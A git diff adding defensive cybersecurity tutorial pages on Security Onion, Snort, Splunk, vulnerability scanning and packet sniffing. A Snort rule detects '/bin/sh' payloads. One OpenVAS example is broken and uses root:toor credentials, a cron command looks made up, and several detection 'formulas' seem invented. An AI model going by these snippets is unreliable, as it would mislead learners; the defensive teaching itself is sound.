diff --git a/.github/workflows/lighthouse-report.yml b/.github/workflows/lighthouse-report.yml
index a02299f..e848b34 100644
--- a/.github/workflows/lighthouse-report.yml
+++ b/.github/workflows/lighthouse-report.yml
@@ -40,13 +40,15 @@ jobs:
with:
urls: |
http://localhost:3000/tutorial/
- http://localhost:3000/tutorial/category/html
- http://localhost:3000/tutorial/html/intro-html
- http://localhost:3000/tutorial/category/css
+ http://localhost:3000/tutorial/category/html/
http://localhost:3000/tutorial/css/introduction/what-is-css
- http://localhost:3000/tutorial/category/javascript
- http://localhost:3000/tutorial/category/react
+ http://localhost:3000/tutorial/javascript/introduction-to-javascript/what-is-js
+ http://localhost:3000/tutorial/git/introduction
+ http://localhost:3000/tutorial/category/getting-started-with-github
+ http://localhost:3000/tutorial/github/introduction-to-github
http://localhost:3000/tutorial/react/react-intro
+ http://localhost:3000/tutorial/cybersecurity
+ http://localhost:3000/tutorial/tags
configPath: ./.github/workflows/lighthouserc.json
uploadArtifacts: true
temporaryPublicStorage: true
diff --git a/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/security-onion.mdx b/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/security-onion.mdx
index 0d399cd..7b47d88 100644
--- a/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/security-onion.mdx
+++ b/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/security-onion.mdx
@@ -1,3 +1,186 @@
-import ComingSoon from '@site/src/components/ComingSoon';
+---
+title: "Security Onion"
+description: "Learn about Security Onion — an open-source Linux distribution for intrusion detection, network monitoring, and log management. Explore its architecture, components, and setup for modern SOC environments."
+---
-
\ No newline at end of file
+**Security Onion** is a free and open-source **Linux distribution** for **intrusion detection**, **network security monitoring (NSM)**, and **log management**. It’s widely used in **Security Operations Centers (SOCs)**, **cybersecurity training labs**, and **enterprise monitoring setups**.
+
+Developed and maintained by **Doug Burks** and the Security Onion team, it provides an integrated suite of tools like **Snort**, **Suricata**, **Zeek**, **Wazuh**, and **Elasticsearch** — all preconfigured for rapid deployment.
+
+## Why Security Onion?
+
+Security Onion simplifies complex security infrastructure into a **single, cohesive platform**.
+
+```mermaid
+flowchart TD
+ A[Network Traffic] --> B[Packet Capture]
+ B --> C[Intrusion Detection - Snort/Suricata]
+ B --> D[Protocol Analysis - Zeek]
+ B --> E[Log Collection - Wazuh/OSSEC]
+ C --> F[Elastic Stack Visualization]
+ D --> F
+ E --> F[Security Onion Console]
+```
+
+**In simple terms:**
+
+Security Onion collects, inspects, and visualizes network data — helping analysts **detect**, **investigate**, and **respond** to security threats efficiently.
+
+
+## Core Components
+
+| Component | Description |
+| ----------------------- | ---------------------------------------------------------------------- |
+| **Snort / Suricata** | Network Intrusion Detection Systems (IDS/IPS) |
+| **Zeek (formerly Bro)** | Network analysis framework for protocol and behavior-based detection |
+| **Wazuh / OSSEC** | Host-based intrusion detection (HIDS) and log analysis |
+| **Elastic Stack (ELK)** | Elasticsearch, Logstash, and Kibana — for storing and visualizing logs |
+| **TheHive + Cortex** | Incident response and case management |
+| **CyberChef** | Data decoding, conversion, and analysis tool |
+
+## Architecture Overview
+
+```mermaid
+graph LR
+ subgraph "Data Layer"
+ A[Network Traffic]
+ B[Host Logs]
+ end
+
+ subgraph "Collection Layer"
+ C1[Snort / Suricata]
+ C2[Zeek]
+ C3[Wazuh Agents]
+ end
+
+ subgraph "Analysis Layer"
+ D1[Logstash]
+ D2[Elasticsearch]
+ D3[TheHive]
+ end
+
+ subgraph "Visualization Layer"
+ E1[Kibana Dashboards]
+ E2[Security Onion Console]
+ end
+
+ A --> C1
+ A --> C2
+ B --> C3
+ C1 --> D1
+ C2 --> D1
+ C3 --> D1
+ D1 --> D2
+ D2 --> D3
+ D2 --> E1
+ D3 --> E2
+```
+
+This architecture allows real-time traffic inspection, data correlation, and security event visualization from a **single pane of glass**.
+
+## Installation Modes
+
+Security Onion supports three main deployment modes:
+
+| Mode | Use Case |
+| --------------- | ------------------------------------------------------- |
+| **Standalone** | Ideal for labs and small networks |
+| **Distributed** | For enterprise-scale environments with multiple sensors |
+| **Eval Mode** | Quick evaluation using a single VM (best for beginners) |
+
+```bash
+sudo so-setup
+```
+
+You can select the desired mode during setup and configure sensors, managers, and storage accordingly.
+
+## Workflow: From Detection to Response
+
+```mermaid
+sequenceDiagram
+ participant Net as Network Traffic
+ participant IDS as IDS/IPS (Snort/Suricata)
+ participant Zeek as Zeek
+ participant Log as Logstash
+ participant ES as Elasticsearch
+ participant Kib as Kibana
+ participant Hive as TheHive
+
+ Net->>IDS: Detect anomalies
+ Net->>Zeek: Analyze protocol behavior
+ IDS->>Log: Send alerts/logs
+ Zeek->>Log: Send connection metadata
+ Log->>ES: Store structured data
+ ES->>Kib: Visualize dashboards
+ Kib->>Hive: Escalate incidents
+```
+
+This flow demonstrates how Security Onion provides **end-to-end visibility**, from detection → analysis → investigation → response.
+
+## Log Correlation Formula
+
+To understand correlation mathematically, think of Security Onion’s detection engine as:
+
+$$
+A(t) = \sum_{i=1}^{n} (E_i \times W_i)
+$$
+
+Where:
+
+* $ A(t) $: Alert strength at time *t*
+* $ E_i $: Event score (based on severity, frequency, or signature match)
+* $ W_i $: Weight of event importance
+
+Higher $ A(t) $ indicates higher confidence of a real incident — enabling analysts to **prioritize critical alerts** efficiently.
+
+## Real-World Use Cases
+
+| Scenario | Description |
+| --------------------- | ----------------------------------------------------------- |
+| **SOC Operations** | Centralized log management and real-time threat monitoring |
+| **Threat Hunting** | Searching for Indicators of Compromise (IOCs) and anomalies |
+| **Incident Response** | Using TheHive to manage and document security incidents |
+| **Training Labs** | Perfect for blue team exercises and cyber range setups |
+
+## Key Tools Inside Security Onion
+
+* **so-status** — Check system and service health
+* **so-allow** — Manage firewall rules and IP access
+* **so-import-pcap** — Import and analyze captured network traffic
+* **so-query** — Query Elasticsearch directly from the terminal
+* **so-dashboard** — Manage and monitor dashboard views
+
+```bash
+sudo so-import-pcap /path/to/traffic.pcap
+```
+
+This command imports and indexes network captures into the Elastic Stack for retrospective analysis.
+
+## Integration with SIEM and EDR
+
+Security Onion can send data to external systems like:
+
+* **Splunk**
+* **Microsoft Sentinel**
+* **Wazuh EDR**
+* **Graylog**
+* **ArcSight**
+
+```mermaid
+flowchart LR
+ SO[Security Onion] --> Splunk
+ SO --> Sentinel
+ SO --> Wazuh
+ SO --> Graylog
+ SO --> ArcSight
+```
+
+This allows hybrid monitoring and advanced analytics across diverse environments.
+
+## Key Takeaways
+
+* Security Onion is an **all-in-one platform** for IDS, NSM, and log management.
+* Combines **Snort/Suricata**, **Zeek**, **Elastic Stack**, **Wazuh**, and **TheHive**.
+* Perfect for **SOC environments**, **blue team training**, and **incident response**.
+* Supports **distributed deployments** for scalability.
+* Offers **real-time dashboards** and **correlation across multiple data sources**.
diff --git a/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/snort-ids.mdx b/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/snort-ids.mdx
index 0d399cd..616ee93 100644
--- a/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/snort-ids.mdx
+++ b/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/snort-ids.mdx
@@ -1,3 +1,173 @@
-import ComingSoon from '@site/src/components/ComingSoon';
+---
+title: "Snort IDS (Intrusion Detection System)"
+description: "Learn how Snort works as one of the most powerful open-source Intrusion Detection and Prevention Systems (IDS/IPS). Understand its architecture, rule-based detection, deployment modes, and real-world use cases."
+sidebar_label: "Snort IDS"
+---
-
\ No newline at end of file
+**Snort** is an **open-source Intrusion Detection and Prevention System (IDS/IPS)** developed by **Cisco**. It’s one of the most widely used network security tools for detecting and preventing malicious network traffic in real time.
+
+## What is Snort?
+
+Snort acts as a **network traffic analyzer** that monitors packets flowing through the network and compares them against predefined **rules** or **signatures**.
+
+It can operate in multiple modes:
+
+| Mode | Description |
+|------|--------------|
+| **Sniffer Mode** | Reads network packets and displays them on the console. |
+| **Packet Logger Mode** | Logs packets to disk for later analysis. |
+| **Network Intrusion Detection (NIDS) Mode** | Analyzes network traffic and alerts for suspicious activity. |
+| **Intrusion Prevention (IPS) Mode** | Detects and blocks malicious packets in real time. |
+
+
+## Snort Architecture
+
+```mermaid
+graph TD
+ A[Packet Capture - Libpcap] --> B[Preprocessors]
+ B --> C[Detection Engine]
+ C --> D[Logging & Alerting]
+ D --> E[Output Plugins]
+
+ subgraph "Snort IDS Pipeline"
+ A
+ B
+ C
+ D
+ E
+ end
+```
+
+**Explanation:**
+
+* **Packet Capture:** Uses `libpcap` to capture live network packets.
+* **Preprocessors:** Normalize and prepare packets for detection (e.g., decode protocols, detect anomalies).
+* **Detection Engine:** Matches traffic against Snort rules and triggers alerts.
+* **Logging & Alerting:** Records alerts or logs for review.
+* **Output Plugins:** Export data to databases, dashboards, or SIEM tools.
+
+## Snort Rule Syntax
+
+Snort rules are written in a simple yet powerful format:
+
+```bash
+alert tcp any any -> 192.168.1.0/24 80 (msg:"Possible web exploit"; content:"/bin/sh"; sid:1000001; rev:1;)
+```
+
+### Rule Breakdown
+
+| Part | Meaning |
+| ----------------------------- | --------------------------------------- |
+| `alert` | Action to take (alert, log, pass, drop) |
+| `tcp` | Protocol type |
+| `any any` | Source IP and port |
+| `->` | Traffic direction |
+| `192.168.1.0/24 80` | Destination IP range and port |
+| `msg:"Possible web exploit";` | Description shown in alert |
+| `content:"/bin/sh";` | Signature or string to match |
+| `sid:1000001;` | Unique Snort rule ID |
+| `rev:1;` | Rule version |
+
+
+## How Snort Detects Intrusions
+
+Snort’s detection process follows a **rule-based mathematical model**:
+
+$$
+A(t) = f(P, R, C)
+$$
+
+Where:
+
+* $A(t)$ = Alert at time *t*
+* $ P $ = Packet data captured
+* $ R $ = Rule set applied
+* $ C $ = Context (state/session information)
+
+The function $( f ) $ determines whether a packet matches a rule condition, producing an alert if true.
+
+## Example: Detecting a Port Scan
+
+```bash
+alert tcp any any -> any 22 (flags:S; msg:"Possible SSH Port Scan"; sid:2000001;)
+```
+
+This rule triggers an alert whenever a **TCP SYN packet** targets port **22 (SSH)** — a common behavior during a scan.
+
+## Snort in Action (Workflow)
+
+```mermaid
+sequenceDiagram
+ participant Net as Network Traffic
+ participant Cap as Packet Capture
+ participant Pre as Preprocessor
+ participant Det as Detection Engine
+ participant Log as Alert System
+
+ Net->>Cap: Capture packets (libpcap)
+ Cap->>Pre: Normalize data
+ Pre->>Det: Match with rules
+ Det->>Log: Generate alert/log
+```
+
+## Integration & Automation
+
+Snort integrates with various tools for **alert management** and **data visualization**:
+
+* **Snorby** – Web interface for Snort alerts
+* **BASE** – Basic Analysis and Security Engine
+* **Splunk / ELK Stack** – For SIEM and visualization
+* **Security Onion** – Linux distro with Snort preconfigured
+
+```mermaid
+flowchart LR
+ Snort --> BASE
+ Snort --> Snorby
+ Snort --> Splunk
+ Snort --> ELK[ELK Stack]
+ ELK --> SOC[Security Operations Center]
+```
+
+## Formula: Rule Matching Probability
+
+Snort’s detection efficiency can be approximated as:
+
+$$
+P_{match} = \frac{M_r}{T_p}
+$$
+
+Where:
+
+* $P_{match} $ = Probability of rule match
+* $ M_r $ = Matched rules count
+* $ T_p $ = Total packets processed
+
+A higher $ P_{match} $ indicates frequent matches, possibly signaling an attack or misconfigured rule.
+
+## Deployment Options
+
+| Environment | Recommended Mode |
+| ---------------------- | --------------------------- |
+| **Home / Lab** | IDS (alert-only) |
+| **Enterprise Network** | IPS (preventive blocking) |
+| **Cloud / VM** | Inline bridge mode |
+| **SOC Environment** | Combined Snort + SIEM setup |
+
+## Example: Inline IPS Mode Setup (Linux)
+
+```bash
+sudo snort -Q --daq afpacket -i eth0:eth1 -c /etc/snort/snort.conf -A console
+```
+
+* `-Q`: Enables inline mode
+* `--daq afpacket`: Uses AFPacket for inline packet capture
+* `-i eth0:eth1`: Bridge between two interfaces
+* `-A console`: Prints alerts to the console
+
+## Key Takeaways
+
+* **Snort** is a rule-based **IDS/IPS** used for packet-level network security.
+* It uses **libpcap** for packet capture and **custom rules** for detection.
+* Supports **multiple operation modes** (sniffer, logger, IDS, IPS).
+* Easily integrates with **SIEMs** like Splunk and ELK for advanced monitoring.
+* **Continuous rule updates** and **proper tuning** are critical for accuracy.
diff --git a/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/splunk-overview.mdx b/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/splunk-overview.mdx
index 0d399cd..f74536f 100644
--- a/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/splunk-overview.mdx
+++ b/docs/cybersecurity/cybersecurity-tools/monitoring-and-defense/splunk-overview.mdx
@@ -1,3 +1,136 @@
-import ComingSoon from '@site/src/components/ComingSoon';
+---
+title: "Splunk Overview"
+description: "Learn the fundamentals of Splunk — a powerful SIEM and data analytics platform used for log management, security monitoring, and incident response."
+---
-
\ No newline at end of file
+Splunk is a **Security Information and Event Management (SIEM)** platform that helps organizations monitor, analyze, and visualize machine-generated data in real time. It’s widely used for **log management**, **threat detection**, and **incident response**.
+
+## What is Splunk?
+
+Splunk collects and indexes data from multiple sources — network devices, applications, cloud systems, and endpoints — turning raw logs into actionable insights.
+
+It operates on the simple formula:
+
+$$
+\text{Actionable Insight} = \text{(Search + Analyze + Visualize)}(\text{Raw Data})
+$$
+
+This means Splunk processes unstructured data into structured events, making it easy to identify patterns, anomalies, or threats.
+
+## Splunk Architecture
+
+```mermaid
+graph TD
+ A[Data Sources] --> B[Forwarder]
+ B --> C[Indexers]
+ C --> D[Search Head]
+ D --> E[Dashboards & Alerts]
+
+ subgraph "Data Input"
+ A
+ end
+
+ subgraph "Data Processing Layer"
+ B
+ C
+ end
+
+ subgraph "User Interaction Layer"
+ D
+ E
+ end
+```
+
+* **Forwarder**: Collects data and sends it to the indexer.
+* **Indexer**: Stores and indexes the data.
+* **Search Head**: Allows users to run searches and queries.
+* **Dashboard/Alerts**: Provides visualizations and alerting mechanisms.
+
+## Splunk Search Processing Language (SPL)
+
+Splunk uses **SPL (Search Processing Language)** to query indexed data.
+Here’s a simple example:
+
+```spl
+index=web_logs status=404 | stats count by url
+```
+
+**Explanation:**
+
+* `index=web_logs`: Searches in the `web_logs` index.
+* `status=404`: Filters HTTP 404 errors.
+* `stats count by url`: Counts occurrences grouped by URLs.
+
+## Example: Security Alert Dashboard Flow
+
+```mermaid
+sequenceDiagram
+ participant Log as Log Source
+ participant Fwd as Splunk Forwarder
+ participant Idx as Indexer
+ participant Sh as Search Head
+ participant Dash as Dashboard
+
+ Log->>Fwd: Sends raw logs
+ Fwd->>Idx: Forwards structured data
+ Idx->>Sh: Provides indexed events
+ Sh->>Dash: Displays alerts and metrics
+```
+
+Splunk dashboards display real-time data to detect anomalies like spikes in failed logins or sudden traffic surges.
+
+## Common Use Cases
+
+| Use Case | Description |
+| ------------------------- | ----------------------------------------------------------- |
+| **Threat Detection** | Monitor failed logins, port scans, or suspicious traffic. |
+| **Incident Response** | Correlate events across sources to trace attacker activity. |
+| **Compliance Monitoring** | Ensure adherence to policies (e.g., PCI-DSS, HIPAA). |
+| **Performance Analytics** | Track uptime, latency, and resource utilization. |
+
+## Data Correlation Formula
+
+The core concept behind Splunk’s correlation search is:
+
+$$
+R(t) = \sum_{i=1}^{n} D_i(t) \times W_i
+$$
+
+Where:
+
+* $R(t)$ = Correlation Result at time *t*
+* $D_i(t)$ = Data source input
+* $W_i$ = Weight (importance) of the data source
+
+This weighted model helps identify high-confidence alerts by giving priority to critical event types.
+
+## Integration Capabilities
+
+Splunk can integrate with:
+
+* **Syslog servers**
+* **Cloud platforms (AWS, Azure, GCP)**
+* **Threat Intelligence feeds**
+* **Security Orchestration tools (SOAR, Phantom)**
+
+```mermaid
+flowchart LR
+ AWS --> Splunk
+ Azure --> Splunk
+ Syslog --> Splunk
+ ThreatIntel --> Splunk
+ Splunk --> SOAR[SOAR Automation]
+```
+
+## Final Thoughts
+
+Splunk stands as a backbone of **modern security operations centers (SOCs)**.
+It bridges the gap between **data visibility** and **actionable response**, empowering security teams to react faster and smarter.
+
+## Key Takeaways
+
+* Splunk is a **real-time data analytics** and **SIEM tool**.
+* It uses **SPL** for searching and analyzing data.
+* The architecture is built around **Forwarders, Indexers, and Search Heads**.
+* Splunk supports **automation, alerting, and integrations** for better incident response.
+* **Machine learning** features enhance predictive defense capabilities.
\ No newline at end of file
diff --git a/docs/cybersecurity/cybersecurity-tools/vulnerability-assessment/vulnerability-scanning-tips.mdx b/docs/cybersecurity/cybersecurity-tools/vulnerability-assessment/vulnerability-scanning-tips.mdx
index 1fdfe49..440ddab 100644
--- a/docs/cybersecurity/cybersecurity-tools/vulnerability-assessment/vulnerability-scanning-tips.mdx
+++ b/docs/cybersecurity/cybersecurity-tools/vulnerability-assessment/vulnerability-scanning-tips.mdx
@@ -1,105 +1,231 @@
---
title: "Vulnerability Scanning"
-description: "Maximize the effectiveness of your vulnerability assessments with advanced tips on credentialed scanning, asset prioritization, impact mitigation, and effective remediation strategies."
-tags: [vulnerability-assessment, vulnerability-scanning, cybersecurity-tools, risk-management, security-best-practices]
+description: "Learn advanced vulnerability scanning techniques, practical tips, and workflow optimizations for ethical hackers and cybersecurity engineers. Includes visuals, mermaid diagrams, and real-world scanning logic."
+tags: [vulnerability-scanning, vulnerability-assessment, security-tools, ethical-hacking, cybersecurity]
---
-Vulnerability scanning is more than just running a tool; it's a foundational security process. By following advanced best practices, you can ensure your scans are **accurate, comprehensive, and actionable**, leading to a stronger overall security posture.
+Vulnerability scanning is the process of identifying **security weaknesses in systems, networks, and applications** before attackers do. It’s the **first line of defense** in proactive cybersecurity used by penetration testers, SOC analysts, and DevSecOps teams to maintain a strong security posture.
-## 1. Meticulous Planning and Scoping
+This guide gives you **technical, hands-on insights** into scanning effectively, avoiding false positives, understanding risk scoring, and integrating results into a continuous security workflow.
-Effective scanning begins with preparation. A clear scope prevents resource wastage and ensures regulatory compliance.
+## What Is Vulnerability Scanning?
-### The Importance of Asset Inventory
+A **vulnerability scanner** probes systems for:
+* Missing patches or misconfigurations
+* Weak or default credentials
+* Exposed services and open ports
+* Known CVEs (Common Vulnerabilities and Exposures)
+* Unsafe protocols or outdated software versions
-Before scanning, you must have a complete, current, and accurate **Asset Inventory**. Assets that are unmanaged (shadow IT) will be completely missed, creating dangerous blind spots.
+:::tip Goal
+
+Detect vulnerabilities before threat actors exploit them.
-:::tip Automate Asset Discovery
-Integrate your vulnerability scanner with an **Asset Management System (AMS)** or **Configuration Management Database (CMDB)**. This ensures that as soon as a new server or device joins the network, it is automatically added to the scan scope.
:::
-### Defining the Scanning Schedule
+## Scanning Workflow Overview
-While monthly or quarterly scans cover general risk, critical systems require more frequent attention.
+Let’s visualize how a vulnerability scan fits into the broader security cycle:
-| Asset Type | Recommended Cadence | Rationale |
-| :--- | :--- | :--- |
-| **Internet-Facing Servers** | Weekly | Highest exposure; primary target for zero-day attacks. |
-| **Internal Workstations** | Monthly | Account for user-installed software and configuration drift. |
-| **New Deployments/Major Changes** | Immediate (Out-of-Band) | Ensure no new vulnerabilities are introduced into production. |
+```mermaid
+flowchart TD
+ A[Asset Discovery] --> B[Vulnerability Scan]
+ B --> C[Risk Evaluation]
+ C --> D[Remediation]
+ D --> E[Re-Scan & Verification]
+ E --> F[Reporting & Continuous Monitoring]
+```
-:::caution Legal and Operational Sign-Off
-Always obtain **written approval** from system owners and IT operations teams *before* scanning production environments. This confirms acceptance of potential, though unlikely, service disruption.
-:::
+Each phase ensures not only detection but also remediation and validation, a full vulnerability management lifecycle.
+
+## Common Scanning Tools
-## 2. Choosing the Right Depth: Credentialed Scanning
+| Tool | Type | Usage |
+| ----------------------- | -------------- | ---------------------------------------------------- |
+| **Nmap + NSE** | Open-source | Network discovery & script-based vulnerability scans |
+| **OpenVAS / Greenbone** | Open-source | Comprehensive network & host vulnerability scanner |
+| **Nessus** | Commercial | Enterprise-grade scanning & compliance checking |
+| **Qualys** | Cloud-based | Continuous vulnerability management |
+| **Nikto** | Open-source | Web application vulnerability scanning |
+| **Burp Suite** | Semi-automated | Web app scanning with manual testing integration |
-The single most impactful decision in vulnerability scanning is whether to use credentials. Credentialed scans offer a dramatically superior assessment.
+## Best Practices for Effective Scanning
-### Why Credentialed Scans are Essential
+### 1. Identify and Classify Your Assets
-A **non-credentialed (unauthenticated)** scan can only see what a network-based attacker sees: open ports and banner versions. A **credentialed (authenticated)** scan logs into the target system using least-privilege accounts (like a regular user, not an administrator) and performs local checks.
+Before scanning, define:
-This deeper access allows the scanner to:
+* IP ranges or domains
+* Operating systems and application stack
+* Critical vs non-critical systems
-1. **Check Patch Status:** Accurately determine if the OS and installed applications are missing critical security updates.
-2. **Verify Configuration:** Audit system settings against security benchmarks (e.g., CIS benchmarks).
-3. **Detect Software Bloat:** Find outdated, unsupported, or unnecessary software (e.g., end-of-life Java versions) not exposed externally.
+:::tip
-| Scan Type | Visibility | Analogy |
-| :--- | :--- | :--- |
-| **Non-Credentialed** | External/Shallow | Checking if the house door is locked. |
-| **Credentialed** | Internal/Deep | Checking every room for hidden weak spots and maintenance needs. |
+Maintain an up-to-date **asset inventory** to avoid missing shadow IT systems.
-:::tip Use Least-Privilege Service Accounts
-Create dedicated, non-interactive **service accounts** for scanning. These accounts should only have the minimum permissions required to perform local vulnerability checks, following the **Principle of Least Privilege (PoLP)**. Do not use domain administrator accounts.
:::
-## 3. Mitigating Network and System Impact
-Scanning large networks can stress older equipment or consume significant bandwidth. Smart configuration is key to preventing outages.
+### 2. Use Credentialed Scanning Where Possible
+
+Authenticated scans provide deeper insights:
+
+* Check patch levels and registry configurations
+* Identify outdated or vulnerable software
+* Evaluate system hardening policies
+
+```bash
+# Example: OpenVAS with credentials
+omp -u admin -w password --xml="ServerScan10.0.0.1sshroottoor"
+```
-### Configuration Controls
+:::note
-* **Adjust Scan Throttling:** Most professional scanners allow you to limit the number of simultaneous network connections or the packets per second. Start with a lower, conservative setting and gradually increase it during testing.
-* **Target Specific Ports:** For very sensitive systems, create a custom scan policy that only checks high-risk services (e.g., ports 80, 443, 22, 3389) instead of a full port scan, reducing noise and load.
+Always obtain authorization before performing credentialed scans.
-:::caution Scanning Legacy Systems
-**Industrial Control Systems (ICS), SCADA systems, or legacy mainframes** are often highly sensitive to port scanning. Never scan these systems without prior authorization and specialized, vendor-approved policies, as a routine scan could cause an operational shutdown.
:::
-## 4. Prioritization and Effective Remediation
+### 3. Combine Tools for Better Coverage
-Raw scan data is often overwhelming. The true value is converting data into an actionable **Remediation Plan**.
+No single tool detects everything. Use multiple sources for confidence.
-### Risk-Based Prioritization
+```mermaid
+graph LR
+ A[Nmap NSE] --> B[OpenVAS]
+ B --> C[Nessus]
+ C --> D[Manual Validation]
+ D --> E[Comprehensive Report]
+```
-Do not remediate based purely on the scanner's CVSS score (Critical, High, Medium). Implement **Risk-Based Prioritization** by considering these three factors:
+Each layer adds reliability and cross-verification.
+
+### 4. Understand CVSS Scoring
+
+Vulnerabilities are often rated using **CVSS (Common Vulnerability Scoring System)**. The **base score** ranges from 0 to 10 and measures severity.
$$
-\text{Risk} = \text{Vulnerability Score} \times \text{Asset Criticality} \times \text{Threat Context}
+CVSS_{score} = f(Impact, Exploitability, Scope)
$$
-1. **Vulnerability Score (CVSS):** The severity of the flaw itself.
-2. **Asset Criticality:** How important is the affected server? (e.g., a customer database is more critical than a test server).
-3. **Threat Context (Exploitability):** Is the vulnerability actively being exploited in the wild (e.g., is there a **Proof-of-Concept (PoC)** available)?
+| Severity | CVSS Score | Color |
+| -------- | ---------- | ----- |
+| Low | 0.1–3.9 | 🟩 |
+| Medium | 4.0–6.9 | 🟨 |
+| High | 7.0–8.9 | 🟧 |
+| Critical | 9.0–10.0 | 🟥 |
+
+:::tip
+Prioritize remediation not only by score but also by **asset value** and **exploit availability**.
+:::
+
+### 5. Reduce False Positives
+
+False positives waste analyst time and undermine confidence.
+
+**How to minimize them:**
+
+* Verify results manually (e.g., test endpoints or patches).
+* Correlate findings with system logs.
+* Disable redundant plugins or outdated detection signatures.
+* Regularly update vulnerability databases (e.g., CVE feeds, NVTs).
+
+```bash
+# Update OpenVAS feed
+greenbone-nvt-sync
+```
+
+### 6. Automate & Integrate Scans in CI/CD
+
+In modern DevSecOps environments, automation is key.
+
+Example workflow:
+
+```mermaid
+sequenceDiagram
+ participant Dev as Developer
+ participant CI as CI/CD Pipeline
+ participant Scanner as Vulnerability Scanner
+ participant Sec as Security Team
+
+ Dev->>CI: Commit new code
+ CI->>Scanner: Trigger automated scan
+ Scanner->>Sec: Send vulnerability report
+ Sec->>Dev: Review and fix vulnerabilities
+```
+
+:::note Tools
+GitHub Actions, Jenkins, or GitLab CI can automatically trigger scans during build/test stages.
+:::
-:::info Focus on the "Chokepoints"
-Prioritize vulnerabilities that exist on systems accessible to many users or directly exposed to the internet. Fixing one flaw on a **gateway server** eliminates more risk than fixing a hundred flaws on isolated internal workstations.
+:::info
+Integrate scanners like Trivy, Snyk, or Dependency-Check for container and dependency scanning.
:::
-### Verification and Reporting
+### 7. Continuous Monitoring and Reporting
+
+* Schedule **weekly or monthly scans** for critical infrastructure.
+* Track vulnerability trends with dashboards (e.g., Grafana, ELK).
+* Generate executive summaries for leadership.
+
+```bash
+# Example: Scheduled scan using cron
+0 2 * * 1 openvas-start --target "Production Servers"
+```
+
+:::info
+Reporting should include vulnerability trends, severity breakdowns, and remediation status.
+:::
+
+## Quick Math Example — Risk Prioritization Formula
+
+To calculate overall **risk score** for a vulnerability:
+
+$$
+Risk = Likelihood \times Impact
+$$
+
+For example:
+
+* Likelihood = 0.8 (based on exploitability)
+* Impact = 0.9 (based on data sensitivity)
+
+$$
+Risk = 0.8 \times 0.9 = 0.72
+$$
+
+> A score above **0.7** might trigger an immediate patch or containment action.
+
+## Real-World Example
+
+**Scenario:** You’re performing a vulnerability scan on a web application.
+
+| Step | Tool | Action |
+| ---- | ---------- | --------------------------------------- |
+| 1 | Nmap | Identify open ports (80, 443, 8080) |
+| 2 | Nikto | Run web server vulnerability scan |
+| 3 | Burp Suite | Test for SQLi, XSS, CSRF |
+| 4 | OpenVAS | Validate findings at network level |
+| 5 | Manual | Confirm exploit manually or through PoC |
+
+```bash
+nikto -h https://example.com -output scan_results.txt
+```
+
+> Cross-validate Nikto results with OWASP ZAP or Burp to filter false positives.
+
+:::note Final Thoughts
-* **False Positive Management:** If a scanner reports a vulnerability you know is mitigated (e.g., a service is detected but blocked by a firewall), document the mitigation and mark the finding as an **Accepted Risk** or **False Positive**.
-* **Verification Scans:** Always run a **verification scan** (or patch validation scan) against the affected assets shortly after remediation to confirm the fix was successful and that no new issues were introduced.
+Vulnerability scanning is not a one-time event — it’s a **continuous, adaptive process**.
+Combine automated scanning with human validation, integrate it into your CI/CD workflow, and align results with your organization’s threat model.
-## 5. Maintenance and Program Maturity
+### Key Points Recap:
-A vulnerability program is a continuous cycle, not a one-time activity.
+* Start with accurate asset discovery
+* Use both authenticated and unauthenticated scans
+* Cross-verify results with multiple tools
+* Automate scans and integrate into DevSecOps
+* Continuously monitor and report vulnerabilities
-* **Regular Plugin Updates:** Ensure your scanner's **plugins, feeds, or signature files** are updated *daily*. A scanner with outdated plugins cannot detect the newest, most dangerous vulnerabilities (Zero-Days).
-* **Integrate into the CI/CD Pipeline:** For application security, integrate vulnerability scanning tools (like SAST/DAST) directly into your **Continuous Integration/Continuous Deployment (CI/CD)** pipeline. This finds code vulnerabilities *before* they ever reach production.
+> “**Scanning without remediation is just noise.** Make sure every detected issue leads to action.”
-:::tip Think of Scanning as Quality Assurance (QA)
-Just as QA checks code functionality, vulnerability scanning checks security functionality. It’s an essential, non-negotiable step in the deployment process.
:::
\ No newline at end of file
diff --git a/docs/cybersecurity/projects/network-sniffing-lab.mdx b/docs/cybersecurity/projects/network-sniffing-lab.mdx
index 0d399cd..51f7357 100644
--- a/docs/cybersecurity/projects/network-sniffing-lab.mdx
+++ b/docs/cybersecurity/projects/network-sniffing-lab.mdx
@@ -1,3 +1,291 @@
-import ComingSoon from '@site/src/components/ComingSoon';
+---
+title: "Network Sniffing Lab"
+description: "Hands-on lab for learning packet capture and analysis with Wireshark, tcpdump, tshark, and supporting tools. Covers capture setup, filters, extracting artifacts, detecting suspicious traffic, and safe lab exercises."
+tags: [network-sniffing, wireshark, tcpdump, tshark, lab, packet-capture, forensics]
+---
-
\ No newline at end of file
+This lab teaches you how to **capture network traffic**, **analyze packets**, and **extract meaningful artifacts** (files, credentials, protocols) using common tools: **Wireshark**, **tcpdump**, and **tshark**. You’ll learn safe capture practices, filter strategies, forensic extraction techniques, and detection patterns that are useful for both red and blue teamers.
+
+:::warning Legal & Safety Notice
+Only run packet captures on networks and systems you own or for which you have **explicit authorization**. Packet captures can include sensitive data (passwords, tokens, PII). Treat captured data as confidential.
+:::
+
+## Lab Goals
+
+* Set up safe packet captures in an isolated lab.
+* Use capture filters (BPF) vs. display filters (Wireshark).
+* Extract files (HTTP, SMB) and reconstruct sessions (Follow TCP Stream).
+* Detect common suspicious patterns (cleartext creds, ARP spoofing, DNS exfil).
+* Measure capture quality and avoid packet drops.
+
+## Lab Topology (Suggested)
+
+```mermaid
+graph LR
+ Host[Host Machine] --> VMHost[VirtualBox/VMware Host]
+ VMHost --> Kali[Kali - Attacker/Analyst]
+ VMHost --> Victim[Victim VM - Windows/Linux]
+ VMHost --> Sensor[Security Onion / Snort Sensor]
+ Kali <--> Victim
+ Victim --> Sensor
+ Kali --> Sensor
+```
+
+Use a host-only / internal network so traffic is contained. Optionally include a monitoring sensor (Security Onion) to compare detections.
+
+## Tools You’ll Use
+
+* **Wireshark** — GUI packet analysis, decoding protocols, reconstructing objects.
+* **tcpdump** — Lightweight CLI capture and initial triage.
